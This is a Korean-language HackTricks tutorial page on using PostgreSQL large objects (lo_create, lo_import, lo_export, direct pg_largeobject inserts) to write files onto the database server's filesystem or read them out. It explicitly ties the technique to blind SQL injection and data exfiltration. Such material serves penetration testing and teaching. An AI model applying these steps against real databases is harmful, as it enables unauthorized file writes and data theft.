htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
### PostgreSQL 대용량 객체
PostgreSQL은 이미지나 PDF 문서와 같은 대용량 데이터 유형을 저장하기 위해 `pg_largeobject` 테이블을 통해 액세스할 수 있는 **대용량 객체** 구조를 제공합니다. 이 접근 방식은 `COPY TO` 함수보다 우수한 성능을 제공하며, 데이터를 파일 시스템으로 **내보낼 수 있어 원본 파일의 정확한 복제본을 유지**할 수 있습니다.
이 테이블에 **완전한 파일을 저장**하기 위해서는 `pg_largeobject` 테이블에 개체(LOID로 식별)를 생성한 다음, 이 개체에 2KB 크기의 데이터 청크를 삽입해야 합니다. 이러한 청크는 정확히 2KB 크기여야 하며(마지막 청크는 예외일 수 있음), 내보내기 함수가 올바르게 작동하도록 해야 합니다.
바이너리 데이터를 **2KB 청크로 분할**하려면 다음 명령을 실행할 수 있습니다:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
각 파일을 Base64 또는 Hex로 인코딩하기 위해 아래 명령어를 사용할 수 있습니다:
```bash
base64 -w 0 # Encodes in Base64 in one line
xxd -ps -c 99999999999 # Encodes in Hex in one line
```
**중요**: 이 프로세스를 자동화할 때, 2KB의 평문 바이트 청크를 보내도록 해야 합니다. 16진수로 인코딩된 파일은 크기가 두 배로 증가하기 때문에 청크 당 4KB의 데이터가 필요하며, Base64로 인코딩된 파일은 `ceil(n / 3) * 4`의 공식을 따릅니다.
디버깅 목적으로 대형 객체의 내용을 볼 수 있습니다.
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### `lo_creat` 및 Base64 사용
바이너리 데이터를 저장하기 위해 먼저 LOID를 생성합니다:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
정확한 제어가 필요한 상황에서는 Blind SQL Injection을 이용하는 경우, 고정된 LOID를 지정하기 위해 `lo_create`를 사용하는 것이 좋습니다.
데이터 청크는 다음과 같이 삽입될 수 있습니다:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('', 'base64'));
```
대용량 객체를 내보내고 사용 후에는 삭제할 수 있습니다:
```sql
SELECT lo_export(oid, '/path/to/export/file') FROM pg_largeobject_metadata WHERE loid = ;
DELETE FROM pg_largeobject_metadata WHERE loid = ;
```
Replace `` with the actual large object ID.
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### `lo_import` 및 Hex 사용
`lo_import` 함수는 큰 객체에 대한 LOID를 생성하고 지정하는 데 사용될 수 있습니다:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
다음은 객체 생성 후 데이터가 페이지 단위로 삽입되며, 각 청크가 2KB를 초과하지 않도록 보장됩니다:
```sql
update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=1;
```
프로세스를 완료하기 위해 데이터가 내보내지고 대용량 객체가 삭제됩니다:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### 제한 사항
**큰 객체에는 ACL(액세스 제어 목록)**이 있을 수 있으며, 이는 사용자가 생성한 객체에 대한 액세스를 제한할 수 있습니다. 그러나 이전 객체는 허용되는 ACL을 가지고 있을 수 있으므로 콘텐츠 유출을 위해 여전히 접근할 수 있습니다.
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.